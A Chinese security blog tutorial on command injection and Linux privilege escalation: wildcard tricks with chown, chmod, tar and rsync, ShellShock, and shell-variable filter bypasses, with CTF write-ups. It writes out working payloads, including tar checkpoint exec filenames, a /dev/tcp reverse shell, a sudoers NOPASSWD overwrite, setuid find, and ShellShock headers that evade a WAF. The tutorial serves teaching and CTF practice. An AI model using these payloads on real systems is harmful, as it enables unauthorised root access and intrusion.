命令执行到提权

之前在补天平台首发了 巧用命令注入的N种方式 ,看到了有几个师傅衍生出了不同的几个后续版本,都感觉挺不错的,对我的版本进行了一些补充。本来这个总结应该算是前半部分,想写的还没写完,当时又是在考试周,原本想在考试结束后就来写后半部分,又因为各种事给推掉了。所以现在来写后半部分提升篇,也算是对前半部分的补充与解释。

提权

这里我们讲讲在命令注入中更有意思的一种方法。

Wildcard Wilderness

Example 1

首先我们先看一个示例

echo "Hello Friends" > file1
echo "This is wildcard Injection" >file2
echo "take help" > --help

首先创建几个文件,其中有一个是 --help ,然后使用 cat 命令读取文件内容

cat file1
cat file 2
cat --help

如果按照我们预期的,是不是在第三个 cat --help 处应该是要读取 —help 文件的内容呢?然而我们执行 cat —help 却优先执行了 cat 命令的帮助选项,并没有读出 —help 里的内容。

不仅是 catls 等命令也会优先调用内置 --help 选项。

以及还有 --all 选项。

其实讲道理,词法分析把对诸如 --help--all 等选项优先处理为内置选项输出,看起来并没有任何问题

这个技巧叫做 Wildcard wildness ,中文有人译为通配符在野。( -all--help 可以通过加入 ././-all./--help 来特指这个文件,避免这个问题)

Example 2

如图,我们有两个文件,当用 rm * 的时候,只删掉了 file1file2 ,并没有删除 *

或者使用 rm file1 file2 -rf 逐个删除之时,也只删掉了 file1file2

使用 strace rm * 我们可以发现

由于当前目录中存在 -rf 文件名, rm-rf 选项作为最后一个参数,并且递归删除当前目录中的所有文件。同样,若要删除可以加上 ./-rf 进行删除

Trick

我们可以利用 Wildcard Wilderness 做一些更有用的事情。

File Owner Hijacking

现在我们有三个用户,一个 zedd ,一个 test ,一个 root 用户。

我们分别用 zeddtest 创建了不同的文件, 1.phptest.php 都属于 test 用户的文件, zedd.php--reference=zedd.php 均属于 zedd 用户的文件。

然后使用 root 用户使用 chown -R test:test *.php 命令,想把本目录下所有的 .php 文件修改为 test 用户所有。

但是结果我们可以发现,结果该目录下所有的 .php 文件都被修改为了 zedd 用户所有,成功“提权”。

原理我们可以用 strace chown -R zedd:zedd *.php 来看一下(注意这里换了一下,模拟想把 .php 文件改变成 zedd 用户所有)

我们可以看到

execve("/bin/chown", ["chown", "-R", "zedd:zedd", "config.php", "index.php", "--reference=.backdoor.php"], 0x7ffe5b43b1e8 /* 35 vars */) = 0

跟我们上个例子原理其实一样, --reference=.backdoor.php 被作为一个选项进行了处理,而

--reference=RFILE  use RFILE's owner and group rather than
                         specifying OWNER:GROUP values

--reference=RFILE 这个选项则是使用 RFILE 的文件拥有者和用户组来改变文件属性,而不是使用传入的 OWNER:GROUP 参数。

因此,在这种情况下, chown--reference 选项将覆盖指定为 root 用户输入的参数 zedd:zedd ,把此目录中所有 .php 文件的所有者改变与 .backdoor.php 的所有者 test

所以,按照这种方法,我们可以劫持 root 将文件的所有权更改为任意用户,并“劫持”我们想要的文件。

Chmod File Reference

类似 chown 的还有一个命令 chmod ,它也有 --reference=RFIE 的选项

--reference=RFILE  use RFILE's mode instead of MODE values

chown 类似,因为有 --reference=.backdoor.php 的存在,在使用 chmod 000 * 的时候也会把劫持到与 .backdoor.php 文件权限一样的权限

Tar命令利用

首先我们来看看 tar 命令帮助文档中的几个有意思的选项

--checkpoint[=NUMBER]  
    display progress messages every NUMBERth record (default 10)
--checkpoint-action=ACTION   
    execute ACTION on each checkpoint

从帮助文档,我们大致可以从中理解到, --checkpoint=1 可以用来显示信息, --checkpoint-action=exec=sh shell.sh 可以用来执行命令

先尝试构建一个 shell.sh 脚本,内容为 /usr/bin/id ,以及文件名为 --checkpoint=1--checkpoint-action=exec=sh shell.sh 的文件,使用 tar -cf test.tar * 把当前目录下所有文件压缩到 test.tar 压缩包内

可见, /usr/bin/id 已经被成功执行输出。

与之前一样, --checkpoint=1--checkpoint-action=exec=sh shell.sh 被作为选项处理

在 2018 SWPUCTF 上有一道 web 题考点也正是利用了这个点,由于题目官方没有开源,这里给一个比较详细的 @一叶飘零 师傅写的 wp 用于参考学习: 2018SWPUCTF-Web#信息再次发掘

rsync命令利用

rsync 命令可能比较少用,我们这里简单介绍一下

NAME
​ rsync - a fast, versatile, remote (and local) file-copying tool

rsync 命令是一个远程数据同步工具,可通过LAN/WAN快速同步多台主机间的文件。使用一个远程shell程序(如 rshssh )来实现将本地机器的内容拷贝到远程机器。如: rsync -t *.c foo:src ,复制当前本地文件夹下的所有的 .c 文件到 foo 远程服务器的 /src 文件夹下。

rsync 帮助文档含有以下几个比较有意思的选项

-e, --rsh=COMMAND           specify the remote shell to use
    --rsync-path=PROGRAM    specify the rsync to run on remote machine

--rsh=COMMAND 又是一个我们可以利用的地方,我们首先创建一个文件名为 -e sh shell.c 的文件,然后再创建一个 shell.c 文件,污染 rsync 参数来实现执行我们在 shell.c 中写入的预期命令

假设当前目录下我们拥有一个只有 root 用户可读的 rootfile 文件,由于不能直接输出结果,我们可以构造 cat ./rootfile > ./output ,将文件内容读出。

得到的 output 文件是 644 的权限,这样我们就成功构造了一个提权读取的文件的 payload ,这里可能需要注意的是,只能提取到执行 rsync 用户的权限,不是直接的 root 权限,这里因为执行命令的是 root 权限,所以能读取只有 root 用户才能读取的 rootfile 文件

Tips

  • 既然能执行命令,其实我们可以参照上篇列举的反弹 shell 的方式将 shell 反弹给我们,也可以配合 msfvenom 来使用。

  • tar 命令比较多的都用在 /etc/crontab 计划任务中,经常会有管理员会用 crontab 来执行一些 tar 命令的备份操作,而且 crontab 执行的权限还是 root 权限,所以这是个很好利用的点

  • tar 命令需要进入到 --checkpoint=1 文件所在的目录内,如果加上绝对路径将会失效,例如 tar cf test.tar /var/www/html/*

    我们可以看到 shell 处理方式将 /home/zedd/Desktop/test 与目录下的文件名逐个拼接起来,就达不到污染参数的效果了

  • 还可以用 echo "zedd ALL=(root) NOPASSWD: ALL" > /etc/sudoers ,把自己直接写入管理员组

  • 利用 chmod u+s /usr/bin/find 提升为 root 权限执行,配合 find 命令的 -exec COMMAND 来执行命令,例如 find f1 -exec "whoami" \;

文章中讨论的技术可以以不同的形式在各种流行的Unix工具上应用,这里仅仅是抛砖引玉,列举一部分命令。 在实际攻击中,任意 shell 选项/参数都可以隐藏在常规文件中,管理员也不容易发现,比如使用 .backdoor.php 等形式。

Other

这里讲讲几个虽然不属于提权,但是也比较有意思的几个点。

Echo

echo * 可以用来显示目录, echo /???g 可以用来探测文件

ln

NAME
​ ln - make links between files

ln 命令常常用于链接两个文件,而且分两种链接模式,一种硬链接一种软链接,详细可以参考 理解Linux硬链接与软链接 。这里主要讲讲软链接,软链接相当于我们 Windows 中的快捷方式,可以使用 ln -s 创建

例如,这里我们根目录下有一个文件内容为 flag{xxx} 的名为 flag 文件,我们使用 ln -s /flag file ,在当前目录下创建一个 file 文件链接到 /flag ,使用 cat filephp -r "echo file_get_contents('file')" 均可以读取到 /flag 的内容。

这个软链接读取文件内容已经被多次利用

ShellShock(CVE-2014-6271)

Bash 4.3以及之前的版本在处理某些构造的环境变量时存在安全漏洞,向环境变量值内的函数定义后添加多余的字符串会触发此漏洞,攻击者可利用此漏洞改变或绕过环境限制,以执行任意的 shell 命令,甚至完全控制目标系统,详细分析参考 破壳(ShellShock)漏洞样本分析报告

  • CVE-2014-6271 测试方式:

    env x='() { :;}; echo vulnerable' bash -c "echo this is a test"

  • CVE-2014-7169 测试方式:(CVE-2014-6271补丁更新后仍然可以绕过)

    env -i X=';() { (a)=>\' bash -c 'echo date'; cat echo

从一道题看Shell Shock

题目地址: command-executor ——来源于 HackMe

题目描述:

​ Here's my useless developer assistant website, try to execute your own command!

题目大体思路是:

  • 读取源码
  • Shell Shock命令执行
  • 重定向读写文件

题目设置为几个功能,一个 man 命令的帮助文档

选择了 ls ,多了个请求参数 file=ls

尝试用其他命令,比如 find

猜测 eval("man /bin/" + command) 或者一些其他的目录

Tar Tester 界面可以上传压缩包但是并没有解压,只是 tar -tvf test.tar 查看压缩包内的内容

Cmd Exec 界面只有两个命令,一个 ls ,一个 env

List files 是个目录列举界面,可以列举几个目录

观察题目,题目 url https://command-executor.hackme.inndy.tw/index.php?func=untar 等均带有 func=xxx 参数来展示页面,猜测会有文件包含漏洞,尝试使用 func=php://filter/read=convert.base64-encode/resource=index 读取文件内容,成功得到回显

解码得到 index.php 源码

<?php
$pages = [
    ['man', 'Man'],
    ['untar', 'Tar Tester'],
    ['cmd', 'Cmd Exec'],
    ['ls', 'List files'],
];

function fuck($msg) {
    header('Content-Type: text/plain');
    echo $msg;
    exit;
}

$black_list = [
    '\/flag', '\(\)\s*\{\s*:;\s*\};'
];

function waf($a) {
    global $black_list;
    if(is_array($a)) {
        foreach($a as $key => $val) {
            waf($key);
            waf($val);
        }
    } else {
        foreach($black_list as $b) {
            if(preg_match("/$b/", $a) === 1) {
                fuck("$b detected! exit now.");
            }
        }
    }
}

waf($_SERVER);
waf($_GET);
waf($_POST);

function execute($cmd, $shell='bash') {
    system(sprintf('%s -c %s', $shell, escapeshellarg($cmd)));
}

foreach($_SERVER as $key => $val) {
    if(substr($key, 0, 5) === 'HTTP_') {
        putenv("$key=$val");
    }
}

$page = '';

if(isset($_GET['func'])) {
    $page = $_GET['func'];
    if(strstr($page, '..') !== false) {
        $page = '';
    }
}

if($page && strlen($page) > 0) {
    try {
        include("$page.php");
    } catch (Exception $e) {
    }
}

function render_default() { ?>
<p>Welcome to use our developer assistant service. We provide servial useless features to make your developing life harder.</p>

<img src="windows-run.jpg" alt="command executor">
<?php }
?><!DOCTYPE html>
<html lang="en">
  <head>
    <meta charset="UTF-8">
    <title>Command Executor</title>
    <link rel="stylesheet" href="bootstrap/css/bootstrap.min.css" media="all">
    <link rel="stylesheet" href="comic-neue/font.css" media="all">
    <style>
      nav { margin-bottom: 1rem; }
      img { max-width: 100%; }
    </style>
  </head>
  <body>
    <nav class="navbar navbar-expand-lg navbar-dark bg-dark d-flex">
      <a class="navbar-brand" href="index.php">Command Executor</a>

      <ul class="navbar-nav">
<?php foreach($pages as list($file, $title)): ?>
        <li class="nav-item">
          <a class="nav-link" href="index.php?func=<?=$file?>"><?=$title?></a>
        </li>
<?php endforeach; ?>
      </ul>
    </nav>

    <div class="container"><?php if(is_callable('render')) render(); else render_default(); ?></div>
  </body>
</html>

man.php 源码:

<?php
function render() {
    $file = 'man';
    if(isset($_GET['file'])) {
        $file = (string)$_GET['file'];
        if(preg_match('/^[\w\-]+$/', $file) !== 1) {
            echo '<pre>Invalid file name!</pre>';
            return;
        }
    }

    echo '<h1>Online documents</h1>';

    $cmds = [
        'bash', 'ls', 'cp', 'mv'
    ];

    echo '<ul>';
    foreach($cmds as $cmd) {
        printf('<li><a href="index.php?func=man&file=%s">%1$s</a></li>', $cmd);
    }
    echo '</ul>';

    printf('<h2>$ man %s</h2>', htmlentities($file));

    echo '<pre>';
    execute(sprintf('man %s | cat', escapeshellarg($file)));
    echo '</pre>';
}
?>

untar.php 源码:

<?php
function render() {
?>
<h1>Tar file tester</h1>

<p>Please upload a tar file to test</p>

<form enctype="multipart/form-data" action="index.php?func=untar" method="POST">
  <input type="file" name="tarfile" id="tarfile">
  <input class="btn btn-primary" type="submit" value="Upload & Test">
</form>

<?php

    if(isset($_FILES['tarfile'])) {
        printf('<h2>$ tar -tvf %s</h2>', htmlentities($_FILES['tarfile']['name']));

        echo '<pre>';
        execute(sprintf('tar -tvf %s 2>&1', escapeshellarg($_FILES['tarfile']['tmp_name'])));
        echo '</pre>';
    }
}
?>

ls.php 源码:

<?php
function render() {
    $file = '.';
    if(isset($_GET['file'])) {
        $file = (string)$_GET['file'];
    }

    echo '<h1>Dictionary Traversal</h1>';

    echo '<ul>';
    $dirs = ['.', '..', '../..', '/etc/passwd'];
    foreach($dirs as $dir) {
        printf('<li><a href="index.php?func=ls&file=%s">%1$s</a></li>', $dir);
    }
    echo '</ul>';

    printf('<h2>$ ls %s</h2>', htmlentities($file));

    echo '<pre>';
    execute(sprintf('ls -l %s', escapeshellarg($file)));
    echo '</pre>';
}
?>

cmd.php 源码:

<?php
function render() {
    $cmd = '';
    if(isset($_GET['cmd'])) {
        $cmd = (string)$_GET['cmd'];
    }
?>
<h1>Command Execution</h1>
<?php
    echo '<ul>';
    $cmds = ['ls', 'env'];
    foreach($cmds as $c) {
        printf('<li><a href="index.php?func=cmd&cmd=%s">%1$s</a></li>', $c);
    }
    echo '</ul>';
?>

<form action="index.php" method="GET">
  <input type="hidden" name="func" value="cmd">
  <div class="input-group">
    <input class="form-control" type="text" name="cmd" id="cmd">
    <div class="input-group-append">
      <input class="btn btn-primary" type="submit" value="Execute">
    </div>
  </div>
</form>
<script>cmd.focus();</script>
<?php

    if(strlen($cmd) > 0) {
        printf('<h2>$ %s</h2>', htmlentities($cmd));

        echo '<pre>';
        switch ($cmd) {
        case 'env':
        case 'ls':
        case 'ls -l':
        case 'ls -al':
            execute($cmd);
            break;
        case 'cat flag':
            echo '<img src="cat-flag.png" alt="cat flag">';
            break;
        default:
            printf('%s: command not found', htmlentities($cmd));
        }
        echo '</pre>';
    }
}
?>

接下来我们就可以利用 ls.php 来找 flag 了,因为 ls.php 没什么过滤,所以用 func=ls&file=../../../ 可以发现根目录下的文件

接下来就是考虑怎么去读了, man.php 因为有 preg_match('/^[\w\-]+$/', $file) !== 1 限制得比较死, untar.php 貌似只有 tar -tvf 并没有什么用处,只有 cmd.php 给出了一个比较不太寻常的 env 这个命令,其实这样也算是提示得比较明显了,比较容易让人想到也可以比较容易搜到 ShellShock 漏洞,并且在 index.php 中发现有

$black_list = [
    '\/flag', '\(\)\s*\{\s*:;\s*\};'
];

function waf($a) {
    global $black_list;
    if(is_array($a)) {
        foreach($a as $key => $val) {
            waf($key);
            waf($val);
        }
    } else {
        foreach($black_list as $b) {
            if(preg_match("/$b/", $a) === 1) {
                fuck("$b detected! exit now.");
            }
        }
    }
}

waf($_SERVER);
waf($_GET);
waf($_POST);

foreach($_SERVER as $key => $val) {
    if(substr($key, 0, 5) === 'HTTP_') {
        putenv("$key=$val");
    }
}

关键就在 putenv 函数,由于 ShellShock 漏洞 padyload 需要参数

env x='() { :;}; echo vulnerable' bash -c "echo this is a test"

我们就可以利用 putenv 实现参数传递,直接设置 User-agent: () { :;}; echo 222222 ,发现被 waf

分析 waf 结合漏洞成因,我们可以在最后的 }; 中间添加一个空格绕过,设置 User-Agent: () { :;} ; echo 222222 ,成功发现输出 22222 ,我们也可以使用 () { _; } >_[$($())] { whoami; } 这个 payload

发现当前用户为 www-data ,而我们之前发现根目录 flag 的权限为 -r-------- 1 flag root 37 Jan 9 2018 flag ,所以不能直接读取,但是有一个 flag-readerflag-reader.c 的文件,这应该是题目提示了。因为 index.php 又把 flag 关键字屏蔽了,我们也不能直接读取 flag-reader.c ,但是我们这里可以利用通配符读取,例如使用 fla*.c

使用 () { _; } >_[$($())] { cat /fla*.c; } 得到 flag-reader.c 源码

Flag-reader.c:

#include <unistd.h>
#include <syscall.h>
#include <fcntl.h>
#include <string.h>

int main(int argc, char *argv[])
{
    char buff[4096], rnd[16], val[16];
    if(syscall(SYS_getrandom, &rnd, sizeof(rnd), 0) != sizeof(rnd)) {
        write(1, "Not enough random\n", 18);
    }

    setuid(1337);
    seteuid(1337);
    alarm(1);
    write(1, &rnd, sizeof(rnd));
    read(0, &val, sizeof(val));

    if(memcmp(rnd, val, sizeof(rnd)) == 0) {
        int fd = open(argv[1], O_RDONLY);
        if(fd > 0) {
            int s = read(fd, buff, 1024);
            if(s > 0) {
                write(1, buff, s);
            }
            close(fd);
        } else {
            write(1, "Can not open file\n", 18);
        }
    } else {
        write(1, "Wrong response\n", 16);
    }
}

使用 bash -c "sh >& /dev/tcp/your ip/port 0>&1" 直接反弹 shell

运行 flag-reader

审计一下这段代码,大致是输出一串随机数,然后在1s之内又要输入进去,否则就 write(1, "Wrong response\n", 16); ...

然而我在回弹 shell 之后,利用 /tmp 可写的权限,貌似有点小问题,一旦 cat /tmp/zedd ,链接就断掉了,无奈只能找其他文件夹,发现 /run/lock/var/tmp 均可读可写,使用 /flag-reader flag > /run/lock/zedd < /run/lock/zedd 写入 flag

反弹 shell 使用 cat 非常容易断掉,最好使用执行的方式,最后得到 flag

上篇的解释与补充

特殊变量

这里再对上篇进行一定的补充与解释。

$n

变量 含义
$0 当前脚本的文件名
$n 传递给脚本或函数的参数。n 是一个数字,表示第几个参数。例如,第二个参数是$2(0<n<9)
${n} 9<n时需要加上大括号

例如,脚本文件如下

#!/bin/bash

echo "File Name: $0"
echo "First Parameter : $1"
echo "First Parameter : $2"

执行脚本文件

$ ./test.sh Hello Zedd
File Name: ./test.sh
First Parameter : Hello
Second Parameter : Zedd

而当没有参数的时候, $n 就为空,所以我们可以用 cat /fl$1ag 这样绕过关键字过滤,并且在 bash 环境下

$ echo $0
bash

所以我们可以使用这样的 payload ,可以用在 bash 这个关键字过滤但是有需要用到 bash 的情况下,前提是环境用的是 bash

$ {printf,"\x63\x61\x74\x20\x2f\x66\x6c\x61\x67"}|$0
flag{xxx}

$IFS

IFS(Internal Field Seprator) ,内部域分隔符,Shell 的环境变量分为 set, env 两种,其中 set 变量可以通过 export 工具导入到 env 变量中。其中,set 是显示设置shell变量,仅在本 shell 中有效;env 是显示设置用户环境变量 ,仅在当前会话中有效。换句话说,set 变量里包含了 env 变量,但 set 变量不一定都是 env 变量。这两种变量不同之处在于变量的作用域不同。显然,env 变量的作用域要大些,它可以在 subshell 中使用。

而 IFS 是一种 set 变量,当 shell 处理"命令替换"和"参数替换"时,shell 根据 IFS 的值,默认是 space, tab, newline 来拆解读入的变量,然后对特殊字符进行处理,最后重新组合赋值给该变量。

$ echo $IFS

$ echo "$IFS" | od -b
0000000 040 011 012 012
0000004

我们可以看到直接输出IFS是看不到的,把它转化为二进制就可以看到了,"040"是空格,"011"是Tab,"012"是换行符"\n" 。最后一个 012 是因为 echo 默认是会换行的。

$?

上个命令的退出状态,或函数的返回值。退出状态是一个数字,一般情况下,大部分命令执行成功会返回0,失败返回1。不过,也有一些命令返回其他值,表示不同类型的错误。

$

当前 Shell 进程 ID。对于 Shell 脚本,就是这些脚本所在的进程 ID。

$ echo $$
75576

$

传递给脚本或函数的参数个数。

脚本文件内容:

#!/bin/bash

echo "Total Number of Parameters : $#"

执行命令

$ ./test.sh Hello Zedd
Total Number of Parameters : 2

\$*与\$@

都是传递给脚本或函数的所有参数。

脚本文件内容:

#!/bin/bash

echo "Quoted Values: $@"
echo "Quoted Values: $*"

执行命令:

$ ./test.sh Hello Zedd
Quoted Values: Hello Zedd
Quoted Values: Hello Zedd

它们不被双引号(" ")包含时,都以"1""2" … "$n" 的形式输出所有参数。

但是当它们被双引号(" ")包含时,"∗"会将所有的参数作为一个整体,以"1 2…n"的形式输出所有参数;"@"会将各个参数分开,以"1" "2"…"n" 的形式输出所有参数。

内置变量绕过

上篇其实提到了一点 内置变量绕过 ,但是讲的也不并不多,只是大概提了一下。这里再给一些常用的 bash 内置的环境变量

$BASH

$ echo $BASH
/usr/local/bin/bash

返回 bash 二进制文件的路径

$HOME

$ $HOME
bash: /Users/zedd: Is a directory

返回当前用户所属目录

$PWD

$ echo $PWD
/

显示当前目录

$OLDPWD

$ echo $OLDPWD
/Users/zedd/Desktop/

返回上次所在目录

$PATH

$ echo $PATH
/bin:/usr/bin:/usr/local/bin:/usr/X11R6/bin:/sbin:/usr/sbin

环境变量 $PATH

$PS1

$ echo $PS1
\s-\v\$

看到的命令行主要提示

$PS2

$ echo $PS2
>

额外输入的辅助提示,表示为 >$PS3 是 Shell 脚本中使用 select 时的提示符,显示为空,这里就不再单独列举了

$PS4

$ echo $PS4
+

set -x 配合用来修改跟踪输出的前缀,显示为 +

举个例子

Layer7 CTF 2018

可以访问 https://cat.canhack.me/这个在线地址

题目描述

This service provides read the file.
https://cat.canhack.me/

This challenge was published in the Layer7 CTF in 2018.

WriteUp

点进去发现有

<b>Usage</b>: Please enter the parameter like as in <a href="/?file=test.txt">this</a>.

跟进得到 test.txt 的内容

猜测为文件包含,尝试直接读取 flagwaf ,直接读取 https://cat.canhack.me/?file=index.php

<?php
    error_reporting(0);

    require __DIR__.'/flag-f72a161d445915d2bdcdc820c4143353.php';

    if(isset($_GET['file'])){

        if(preg_match('/flag|\'|\"|`|\\\\|;|\(|\)|\*|\?|\.\.|\//i', $_GET['file'])){
            die('no hack');
        }

        system('cat "'.$_GET['file'].'"');

    }else{
        echo '<b>Usage</b>: Please enter the parameter like as in <a href="/?file=test.txt">this</a>.';
    }

还剩下 {}<>[]+-=^$@!& ,是个关键字绕过,有 $ ,我们很快可以联想到可以用 $n 这种方式绕过,最终 payload

https://cat.canhack.me/?file=fl$1ag-f72a161d445915d2bdcdc820c4143353.php

参考:

Internal Variables

Shell中的IFS解惑

Shell 特殊变量

一个有趣的任意文件读写

利用通配符进行Linux本地提权

Unix Wildcards Gone Wild

我来评几句
登录后评论

已发表评论数()

相关站点

+订阅
热门文章